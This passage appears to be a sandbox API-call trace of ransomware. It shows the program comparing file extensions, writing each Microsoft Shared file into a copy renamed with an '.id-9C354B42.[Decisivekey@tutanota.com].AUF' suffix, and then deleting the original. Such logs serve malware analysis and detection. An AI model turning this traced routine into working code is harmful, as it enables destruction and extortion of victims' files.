[0214.007] lstrlenW (lpString=".bz2") returned 4 [0214.007] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0214.007] lstrlenW (lpString=".7z") returned 3 [0214.007] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0214.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0214.007] lstrlenW (lpString=".dbf") returned 4 [0214.007] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0214.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0214.007] lstrlenW (lpString=".1cd") returned 4 [0214.007] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0214.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0214.007] lstrlenW (lpString=".jpg") returned 4 [0214.007] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0214.008] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0214.008] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0214.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0214.008] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1675) returned 1 [0214.008] CloseHandle (hObject=0x1e0) returned 1 [0214.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0214.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0214.008] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.008] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0214.395] GetLastError () returned 0x0 [0214.395] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x68b, lpOverlapped=0x0) returned 1 [0214.396] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x690, lpOverlapped=0x0) returned 1 [0214.397] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.397] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0214.397] SetEndOfFile (hFile=0x1e4) returned 1 [0214.397] CloseHandle (hObject=0x1e4) returned 1 [0214.397] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.397] SetEndOfFile (hFile=0x1e0) returned 1 [0214.398] CloseHandle (hObject=0x1e0) returned 1 [0214.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.398] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 1 [0214.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0214.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0214.398] lstrlenW (lpString=".doc") returned 4 [0214.398] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0214.398] lstrlenW (lpString=".docx") returned 5 [0214.398] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0214.398] lstrlenW (lpString=".pdf") returned 4 [0214.398] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0214.398] lstrlenW (lpString=".xls") returned 4 [0214.398] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0214.399] lstrlenW (lpString=".xlsx") returned 5 [0214.399] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0214.399] lstrlenW (lpString=".ppt") returned 4 [0214.399] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0214.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0214.399] lstrlenW (lpString=".zip") returned 4 [0214.399] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0214.399] lstrlenW (lpString=".rar") returned 4 [0214.399] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0214.399] lstrlenW (lpString=".bz2") returned 4 [0214.399] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0214.399] lstrlenW (lpString=".7z") returned 3 [0214.399] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0214.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0214.399] lstrlenW (lpString=".dbf") returned 4 [0214.399] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0214.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0214.399] lstrlenW (lpString=".1cd") returned 4 [0214.399] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0214.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0214.399] lstrlenW (lpString=".jpg") returned 4 [0214.399] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0214.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0214.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0214.399] lstrlenW (lpString=".doc") returned 4 [0214.399] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0214.399] lstrlenW (lpString=".docx") returned 5 [0214.399] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0214.399] lstrlenW (lpString=".pdf") returned 4 [0214.399] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0214.399] lstrlenW (lpString=".xls") returned 4 [0214.399] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0214.399] lstrlenW (lpString=".xlsx") returned 5 [0214.399] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0214.399] lstrlenW (lpString=".ppt") returned 4 [0214.399] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0214.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0214.399] lstrlenW (lpString=".zip") returned 4 [0214.399] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0214.399] lstrlenW (lpString=".rar") returned 4 [0214.399] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0214.399] lstrlenW (lpString=".bz2") returned 4 [0214.399] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0214.400] lstrlenW (lpString=".7z") returned 3 [0214.400] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0214.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0214.400] lstrlenW (lpString=".dbf") returned 4 [0214.400] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0214.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0214.400] lstrlenW (lpString=".1cd") returned 4 [0214.400] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0214.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0214.400] lstrlenW (lpString=".jpg") returned 4 [0214.400] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0214.400] lstrcmpiW (lpString1=".CHM", lpString2=".AUF") returned 1 [0214.400] lstrlenW (lpString="VBOB6.CHM") returned 9 [0214.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0214.400] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=123956) returned 1 [0214.400] CloseHandle (hObject=0x1e0) returned 1 [0214.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0214.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0214.400] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.400] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0214.401] GetLastError () returned 0x0 [0214.401] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x1e434, lpOverlapped=0x0) returned 1 [0214.405] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x1e440, lpOverlapped=0x0) returned 1 [0214.408] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.408] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0214.408] SetEndOfFile (hFile=0x1e4) returned 1 [0214.408] CloseHandle (hObject=0x1e4) returned 1 [0214.408] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.408] SetEndOfFile (hFile=0x1e0) returned 1 [0214.409] CloseHandle (hObject=0x1e0) returned 1 [0214.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.409] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 1 [0214.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0214.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0214.410] lstrlenW (lpString=".doc") returned 4 [0214.410] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0214.410] lstrlenW (lpString=".docx") returned 5 [0214.410] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0214.410] lstrlenW (lpString=".pdf") returned 4 [0214.410] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0214.410] lstrlenW (lpString=".xls") returned 4 [0214.410] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0214.410] lstrlenW (lpString=".xlsx") returned 5 [0214.410] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0214.410] lstrlenW (lpString=".ppt") returned 4 [0214.410] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0214.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0214.410] lstrlenW (lpString=".zip") returned 4 [0214.410] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0214.410] lstrlenW (lpString=".rar") returned 4 [0214.410] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0214.410] lstrlenW (lpString=".bz2") returned 4 [0214.410] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0214.410] lstrlenW (lpString=".7z") returned 3 [0214.410] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0214.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0214.410] lstrlenW (lpString=".dbf") returned 4 [0214.410] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0214.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0214.410] lstrlenW (lpString=".1cd") returned 4 [0214.410] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0214.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0214.410] lstrlenW (lpString=".jpg") returned 4 [0214.410] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0214.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0214.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0214.410] lstrlenW (lpString=".doc") returned 4 [0214.410] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0214.410] lstrlenW (lpString=".docx") returned 5 [0214.410] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0214.410] lstrlenW (lpString=".pdf") returned 4 [0214.410] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0214.410] lstrlenW (lpString=".xls") returned 4 [0214.410] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0214.410] lstrlenW (lpString=".xlsx") returned 5 [0214.410] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0214.410] lstrlenW (lpString=".ppt") returned 4 [0214.411] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0214.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0214.411] lstrlenW (lpString=".zip") returned 4 [0214.411] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0214.411] lstrlenW (lpString=".rar") returned 4 [0214.411] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0214.411] lstrlenW (lpString=".bz2") returned 4 [0214.411] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0214.411] lstrlenW (lpString=".7z") returned 3 [0214.411] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0214.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0214.411] lstrlenW (lpString=".dbf") returned 4 [0214.411] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0214.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0214.411] lstrlenW (lpString=".1cd") returned 4 [0214.411] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0214.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0214.411] lstrlenW (lpString=".jpg") returned 4 [0214.411] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0214.411] lstrcmpiW (lpString1=".CHM", lpString2=".AUF") returned 1 [0214.411] lstrlenW (lpString="VBUI6.CHM") returned 9 [0214.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0214.412] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=416918) returned 1 [0214.412] CloseHandle (hObject=0x1e0) returned 1 [0214.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0214.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0214.412] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.412] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0214.412] GetLastError () returned 0x0 [0214.412] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x65c96, lpOverlapped=0x0) returned 1 [0214.435] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x65ca0, lpOverlapped=0x0) returned 1 [0214.532] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.532] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0214.532] SetEndOfFile (hFile=0x1e4) returned 1 [0214.533] CloseHandle (hObject=0x1e4) returned 1 [0214.533] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.533] SetEndOfFile (hFile=0x1e0) returned 1 [0214.535] CloseHandle (hObject=0x1e0) returned 1 [0214.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.536] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 1 [0214.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0214.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0214.536] lstrlenW (lpString=".doc") returned 4 [0214.536] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0214.536] lstrlenW (lpString=".docx") returned 5 [0214.536] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0214.536] lstrlenW (lpString=".pdf") returned 4 [0214.536] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0214.536] lstrlenW (lpString=".xls") returned 4 [0214.536] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0214.536] lstrlenW (lpString=".xlsx") returned 5 [0214.536] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0214.536] lstrlenW (lpString=".ppt") returned 4 [0214.536] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0214.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0214.536] lstrlenW (lpString=".zip") returned 4 [0214.536] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0214.536] lstrlenW (lpString=".rar") returned 4 [0214.536] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0214.536] lstrlenW (lpString=".bz2") returned 4 [0214.536] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0214.536] lstrlenW (lpString=".7z") returned 3 [0214.536] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0214.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0214.536] lstrlenW (lpString=".dbf") returned 4 [0214.536] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0214.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0214.536] lstrlenW (lpString=".1cd") returned 4 [0214.536] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0214.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0214.536] lstrlenW (lpString=".jpg") returned 4 [0214.536] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0214.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0214.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0214.536] lstrlenW (lpString=".doc") returned 4 [0214.536] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0214.537] lstrlenW (lpString=".docx") returned 5 [0214.537] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0214.537] lstrlenW (lpString=".pdf") returned 4 [0214.537] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0214.537] lstrlenW (lpString=".xls") returned 4 [0214.537] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0214.537] lstrlenW (lpString=".xlsx") returned 5 [0214.537] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0214.537] lstrlenW (lpString=".ppt") returned 4 [0214.537] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0214.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 